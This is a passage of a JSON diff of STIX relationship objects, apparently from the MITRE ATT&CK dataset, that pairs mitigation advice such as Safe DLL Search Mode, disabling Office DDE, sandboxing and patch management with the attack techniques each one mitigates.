"2019-06-24T13:19:33.236Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2169ba87-1146-4fc7-a118-12b72251db7e", + "description": "Setting the timestamp_timeout to 0 will require the user to input their password every time sudo is executed.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T13:19:33.243Z", + "id": "relationship--02814b0e-0387-456e-9bac-ed30f419676f", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "modified": "2019-06-24T13:19:33.243Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--46944654-fcc1-4f63-9dad-628102376586", + "description": "Use auditing tools capable of detecting DLL search order hijacking opportunities on systems within an enterprise and correct them. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for DLL hijacking weaknesses.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T13:34:32.334Z", + "id": "relationship--a8d2bbc8-f52e-43dd-8ae4-6cdf3de79a9b", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "modified": "2019-07-24T15:07:22.498Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Powersploit", + "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.", + "url": "https://github.com/mattifestation/PowerSploit" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--46944654-fcc1-4f63-9dad-628102376586", + "description": "Disallow loading of remote DLLs. This is included by default in Windows Server 2012+ and is available by patch for XP+ and Server 2003+. Path Algorithm\n\nEnable Safe DLL Search Mode to force search for system DLLs in directories with greater restrictions (e.g. %SYSTEMROOT%)to be used before local directory DLLs (e.g. a user's home directory)\n\nThe Safe DLL Search Mode can be enabled via Group Policy at Computer Configuration > [Policies] > Administrative Templates > MSS (Legacy): MSS: (SafeDllSearchMode) Enable Safe DLL search mode. The associated Windows Registry key for this is located at HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\SafeDLLSearchMode", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T13:35:27.794Z", + "id": "relationship--fb988651-2bb4-4169-be8e-14ab9c8ef483", + "source_ref": "course-of-action--e8242a33-481c-4891-af63-4cf3e4cf6aff", + "modified": "2019-07-24T15:07:22.522Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Microsoft DLL Preloading", + "description": "Microsoft. (2010, August 12). More information about the DLL Preloading remote attack vector. Retrieved December 5, 2014.", + "url": "http://blogs.technet.com/b/srd/archive/2010/08/23/more-information-about-dll-preloading-remote-attack-vector.aspx" + }, + { + "source_name": "Microsoft DLL Search", + "description": "Microsoft. (n.d.). Dynamic-Link Library Search Order. Retrieved November 30, 2014.", + "url": "http://msdn.microsoft.com/en-US/library/ms682586" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--46944654-fcc1-4f63-9dad-628102376586", + "description": "Adversaries may use new DLLs to execute this technique. Identify and block potentially malicious software executed through search order hijacking by using application whitelisting solutions capable of blocking DLLs loaded by legitimate software.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T13:35:27.808Z", + "id": "relationship--f6a4e153-d0e1-4518-87ce-18cc0399be70", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "modified": "2019-07-24T15:07:22.518Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6", + "description": "Ensure all browsers and plugins kept updated can help prevent the exploit phase of this technique. Use modern browsers with security features turned on.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T13:38:13.084Z", + "id": "relationship--47e2fc5c-3dab-411d-a402-0052d8e725d3", + "source_ref": "course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b", + "modified": "2019-10-11T22:45:52.165Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6", + "description": "For malicious code served up through ads, adblockers can help prevent that code from executing in the first place.\n\nScript blocking extensions can help prevent the execution of JavaScript that may commonly be used during the exploitation process.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T13:38:13.109Z", + "id": "relationship--7d8a729c-3656-4b31-85c0-42b75001f913", + "source_ref": "course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96", + "modified": "2019-10-11T22:45:52.199Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6", + "description": "Browser sandboxes can be used to mitigate some of the impact of exploitation, but sandbox escapes may still exist.\n\nOther types of virtualization and application microsegmentation may also mitigate the impact of client-side exploitation. The risks of additional exploits and weaknesses in implementation may still exist for these types of systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T13:38:13.125Z", + "id": "relationship--56f490de-51e8-47c4-9eae-ecdd1a55e6ef", + "source_ref": "course-of-action--b9f0c069-abbe-4a07-a245-2481219a1463", + "modified": "2019-10-11T22:45:52.215Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Windows Blogs Microsoft Edge Sandbox", + "description": "Cowan, C. (2017, March 23). Strengthening the Microsoft Edge Sandbox. Retrieved March 12, 2018.", + "url": "https://blogs.windows.com/msedgedev/2017/03/23/strengthening-microsoft-edge-sandbox/" + }, + { + "source_name": "Ars Technica Pwn2Own 2017 VM Escape", + "description": "Goodin, D. (2017, March 17). Virtual machine escape fetches $105,000 at Pwn2Own hacking contest - updated. Retrieved March 12, 2018.", + "url": "https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6", + "description": "Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. Many of these protections depend on the architecture and target application binary for compatibility.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T13:38:13.121Z", + "id": "relationship--1e6c88fb-11fc-481d-990a-81d74a69e02f", + "source_ref": "course-of-action--d2a24649-9694-4c97-9c62-ce7b270bf6a3", + "modified": "2019-10-11T22:45:52.185Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "TechNet Moving Beyond EMET", + "description": "Nunez, N. (2017, August 9). Moving Beyond EMET II \u2013 Windows Defender Exploit Guard. Retrieved March 12, 2018.", + "url": "https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/" + }, + { + "source_name": "Wikipedia Control Flow Integrity", + "description": "Wikipedia. (2018, January 11). Control-flow integrity. Retrieved March 12, 2018.", + "url": "https://en.wikipedia.org/wiki/Control-flow_integrity" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0", + "description": "Registry keys specific to Microsoft Office feature control security can be set to disable automatic DDE/OLE execution. Microsoft also created, and enabled by default, Registry keys to completely disable DDE execution in Word and Excel.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T13:39:37.290Z", + "id": "relationship--180a8796-fe25-4ae3-93e2-f7e33960e263", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "modified": "2019-07-24T17:34:39.063Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Microsoft DDE Advisory Nov 2017", + "description": "Microsoft. (2017, November 8). Microsoft Security Advisory 4053440 - Securely opening Microsoft Office documents that contain Dynamic Data Exchange (DDE) fields. Retrieved November 21, 2017.", + "url": "https://technet.microsoft.com/library/security/4053440" + }, + { + "description": "Cimpanu, C. (2017, December 15). Microsoft Disables DDE Feature in Word to Prevent Further Malware Attacks. Retrieved December 19, 2017.", + "source_name": "BleepingComputer DDE Disabled in Word Dec 2017", + "url": "https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/" + }, + { + "source_name": "GitHub Disable DDEAUTO Oct 2017", + "description": "Dormann, W. (2017, October 20). Disable DDEAUTO for Outlook, Word, OneNote, and Excel versions 2010, 2013, 2016. Retrieved February 3, 2018.", + "url": "https://gist.github.com/wdormann/732bb88d9b5dd5a66c9f1e1498f31a1b" + }, + { + "source_name": "Microsoft ADV170021 Dec 2017", + "description": "Microsoft. (2017, December 12). ADV170021 - Microsoft Office Defense in Depth Update. Retrieved February 3, 2018.", + "url": "https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0", + "description": "On Windows 10, enable Attack Surface Reduction (ASR) rules to prevent DDE attacks and spawning of child processes from Office programs.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T13:39:37.305Z", + "id": "relationship--3aaa150d-c88e-4483-b658-c417ae9bc557", + "source_ref": "course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46", + "modified": "2019-07-24T17:34:39.097Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Microsoft ASR Nov 2017", + "description": "Brower, N. & D'Souza-Wiltshire, I. (2017, November 9). Enable Attack surface reduction. Retrieved February 3, 2018.", + "url": "https://docs.microsoft.com/windows/threat-protection/windows-defender-exploit-guard/enable-attack-surface-reduction" + }, + { + "source_name": "Enigma Reviving DDE Jan 2018", + "description": "Nelson, M. (2018, January 29). Reviving DDE: Using OneNote and Excel for Code Execution. Retrieved February 3, 2018.", + "url": "https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0", + "description": "Ensure Protected View is enabled.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T13:39:37.315Z", + "id": "relationship--954d7473-a942-4af3-8706-d47dc7cdffb6", + "source_ref": "course-of-action--b9f0c069-abbe-4a07-a245-2481219a1463", + "modified": "2019-07-24T17:34:39.098Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Microsoft Protected View", + "description": "Microsoft. (n.d.). What is Protected View?. Retrieved November 22, 2017.", + "url": "https://support.office.com/en-us/article/What-is-Protected-View-d6f09ac7-e6b9-4495-8e43-2bbcdbcb6653" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "Turn off unused features or restrict access to scripting engines such as VBScript or scriptable administration frameworks such as PowerShell.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T13:41:54.122Z", + "id": "relationship--ef3d56d7-2339-4ee7-9086-293d04230fd4", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "modified": "2019-06-24T13:41:54.122Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "Configure Office security settings enable Protected View, to execute within a sandbox environment, and to block macros through Group Policy. Other types of virtualization and application microsegmentation may also mitigate the impact of compromise.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T13:41:54.141Z", + "id": "relationship--11767ed3-e938-4d0f-97dd-2a190e55f8db", + "source_ref": "course-of-action--b9f0c069-abbe-4a07-a245-2481219a1463", + "modified": "2019-06-24T13:41:54.141Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c", + "description": "Regularly scan externally facing systems for vulnerabilities and establish procedures to rapidly patch systems when critical vulnerabilities are discovered through scanning and through public disclosure.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T13:44:34.822Z", + "id": "relationship--d373eebb-b578-4b59-9de1-2946bf837d96", + "source_ref": "course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b", + "modified": "2019-10-22T19:45:57.456Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c", + "description": "Application isolation will limit what other processes and system features the exploited target can access.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T13:44:34.840Z", + "id": "relationship--0c8fdb59-a28f-4f8f-a788-9e3e8928c6d5", + "source_ref": "course-of-action--b9f0c069-abbe-4a07-a245-2481219a1463", + "modified": "2019-10-22T19:45:57.486Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c", + "description": "Use least privilege for service accounts will limit what permissions the exploited process gets on the rest of the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T13:44:34.838Z", + "id": "relationship--4d50a045-d85d-481f-ac7d-672065f1e348", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "modified": "2019-10-22T19:45:57.489Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c", + "description": "Segment externally facing servers and services from the rest of the network with a DMZ or on separate hosting infrastructure.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T13:44:34.852Z", + "id": "relationship--3b726298-74dc-4f8a-b58d-f623bc645124", + "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", + "modified": "2019-10-22T19:45:57.483Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2892b9ee-ca9f-4723-b332-0dc6e843a8ae", + "description": "Block .scr files from being executed from non-standard locations.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T13:45:01.941Z", + "id": "relationship--07e8c7b6-d959-4c29-99bf-96d8b434f27f", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "modified": "2019-09-03T16:12:27.934Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2892b9ee-ca9f-4723-b332-0dc6e843a8ae", + "description": "Use Group Policy to disable screensavers if they are unnecessary.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T13:45:01.993Z", + "id": "relationship--fdc5db56-5eb8-45e5-8116-934f8945961f", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "modified": "2019-09-03T16:12:27.949Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "TechNet Screensaver GP", + "description": "Microsoft. (n.d.). Customizing the Desktop. Retrieved December 5, 2017.", + "url": "https://technet.microsoft.com/library/cc938799.aspx" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", + "description": "Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. Many of these protections depend on the architecture and target application binary for compatibility.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T13:46:11.849Z", + "id": "relationship--3d1c88d6-f390-4e05-ba1c-c6ea59f5fe22", + "source_ref": "course-of-action--d2a24649-9694-4c97-9c62-ce7b270bf6a3", + "modified": "2019-07-24T17:35:41.076Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "TechNet Moving Beyond EMET", + "description": "Nunez, N. (2017, August 9). Moving Beyond EMET II \u2013 Windows Defender Exploit Guard. Retrieved March 12, 2018.", + "url": "https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/" + }, + { + "source_name": "Wikipedia Control Flow Integrity", + "description": "Wikipedia. (2018, January 11). Control-flow integrity. Retrieved March 12, 2018.", + "url": "https://en.wikipedia.org/wiki/Control-flow_integrity" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", + "description": "Browser sandboxes can be used to mitigate some of the impact of exploitation, but sandbox escapes may still exist.\n\nOther types of virtualization and application microsegmentation may also mitigate the impact of client-side exploitation. Risks of additional exploits and weaknesses in those systems may still exist.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T13:46:11.863Z", + "id": "relationship--d48a5068-7796-4c66-9ddf-eb6e8aaf6887", + "source_ref": "course-of-action--b9f0c069-abbe-4a07-a245-2481219a1463", + "modified": "2019-07-24T17:35:41.084Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Windows Blogs Microsoft Edge Sandbox", + "description": "Cowan, C. (2017, March 23). Strengthening the Microsoft Edge Sandbox. Retrieved March 12, 2018.", + "url": "https://blogs.windows.com/msedgedev/2017/03/23/strengthening-microsoft-edge-sandbox/" + }, + { + "source_name": "Ars Technica Pwn2Own 2017 VM Escape", + "description": "Goodin, D. (2017, March 17). Virtual machine escape fetches $105,000 at Pwn2Own hacking contest - updated. Retrieved March 12, 2018.", + "url": "https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9c306d8d-cde7-4b4c-b6e8-d0bb16caca36", + "description": "Update software regularly by employing patch management for internal enterprise endpoints and servers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T13:48:13.673Z", + "id": "relationship--3d58c303-b76c-4acc-8856-c71e03ea5c44", + "source_ref": "course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b", + "modified": "2019-07-25T18:56:25.964Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9c306d8d-cde7-4b4c-b6e8-d0bb16caca36", + "description": "Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T13:48:13.687Z", + "id": "relationship--dbcd1bb0-24c3-465f-8b38-d4827ce6edf2", + "source_ref": "course-of-action--874c0166-e407-45c2-a1d9-e4e3a6570fd8", + "modified": "2019-07-25T18:56:25.969Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9c306d8d-cde7-4b4c-b6e8-d0bb16caca36", + "description": "Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. Many of these protections depend on the architecture and target application binary for compatibility and may not work for software targeted for defense evasion.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T13:48:13.700Z", + "id": "relationship--16749b64-2091-43d5-a76f-d6f8f98c5bf4", + "source_ref": "course-of-action--d2a24649-9694-4c97-9c62-ce7b270bf6a3", + "modified": "2019-07-25T18:56:25.983Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Nunez, N. (2017, August 9). Moving Beyond EMET II \u2013 Windows Defender Exploit Guard. Retrieved March 12, 2018.", + "source_name": "TechNet Moving Beyond EMET", + "url": "https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/" + }, + { + "source_name": "Wikipedia Control Flow Integrity", + "description": "Wikipedia. (2018, January 11). Control-flow integrity. Retrieved March 12, 2018.", + "url": "https://en.wikipedia.org/wiki/Control-flow_integrity" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9c306d8d-cde7-4b4c-b6e8-d0bb16caca36", + "description": "Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of exploitation. Risks of additional exploits and weaknesses in these systems may still exist.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T13:48:13.702Z", + "id": "relationship--e5c4842c-e1be-48c3-9007-a3c283515f86", + "source_ref": "course-of-action--b9f0c069-abbe-4a07-a245-2481219a1463", + "modified": "2019-07-25T18:56:25.991Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Goodin, D. (2017, March 17). Virtual machine escape fetches $105,000 at Pwn2Own hacking contest - updated. Retrieved March 12, 2018.", + "source_name": "Ars Technica Pwn2Own 2017 VM Escape", + "url": "https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--fe926152-f431-4baf-956c-4ad3cb0bf23b", + "description": "Update software regularly by employing patch management for internal enterprise endpoints and servers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T13:50:29.647Z", + "id": "relationship--5ef60d6b-ffc0-4630-98d7-a67b608d5707", + "source_ref": "course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b", + "modified": "2019-07-25T18:57:59.534Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--fe926152-f431-4baf-956c-4ad3cb0bf23b", + "description": "Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. Many of these protections depend on the architecture and target application binary for compatibility and may not work for software targeted for defense evasion.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T13:50:29.667Z", + "id": "relationship--355eb66e-dc0a-44d4-b31d-3dbe7570a0d2", + "source_ref": "course-of-action--d2a24649-9694-4c97-9c62-ce7b270bf6a3", + "modified": "2019-07-25T18:57:59.536Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Nunez, N. (2017, August 9). Moving Beyond EMET II \u2013 Windows Defender Exploit Guard. Retrieved March 12, 2018.", + "source_name": "TechNet Moving Beyond EMET", + "url": "https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/" + }, + { + "description": "Wikipedia. (2018, January 11). Control-flow integrity. Retrieved March 12, 2018.", + "source_name": "Wikipedia Control Flow Integrity", + "url": "https://en.wikipedia.org/wiki/Control-flow_integrity" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--fe926152-f431-4baf-956c-4ad3cb0bf23b", + "description": "Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T13:50:29.670Z", + "id": "relationship--c97a4bfd-e279-476d-a96b-c00335510a2c", + "source_ref": "course-of-action--874c0166-e407-45c2-a1d9-e4e3a6570fd8", + "modified": "2019-07-25T18:57:59.556Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--fe926152-f431-4baf-956c-4ad3cb0bf23b", + "description": "Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of exploitation. Risks of additional exploits and weaknesses in these systems may still exist.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T13:50:29.682Z", + "id": "relationship--eb812961-ecb7-4361-82c4-fb52fa93c80b", + "source_ref": "course-of-action--b9f0c069-abbe-4a07-a245-2481219a1463", + "modified": "2019-07-25T18:57:59.554Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Goodin, D. (2017, March 17). Virtual machine escape fetches $105,000 at Pwn2Own hacking contest - updated. Retrieved March 12, 2018.", + "source_name": "Ars Technica Pwn2Own 2017 VM Escape", + "url": "https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839", + "description": "Update software regularly by employing patch management for internal enterprise endpoints and servers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T13:52:51.861Z", + "id": "relationship--22d11711-5794-42aa-a9c5-02895fe3420d", + "source_ref": "course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b", + "modified": "2019-07-26T19:55:06.550Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839", + "description": "Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-24T13:52:51.878Z", + "id": "relationship--c6615e27-5984-44b3-82dc-f710c6823834", + "source_ref": "course-of-action--874c0166-e407-45c2-a1d9-e4e3a6570fd8", + "modified": "2019-07-26T19:55:06.563Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839", + "description": "Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. Many of these protections 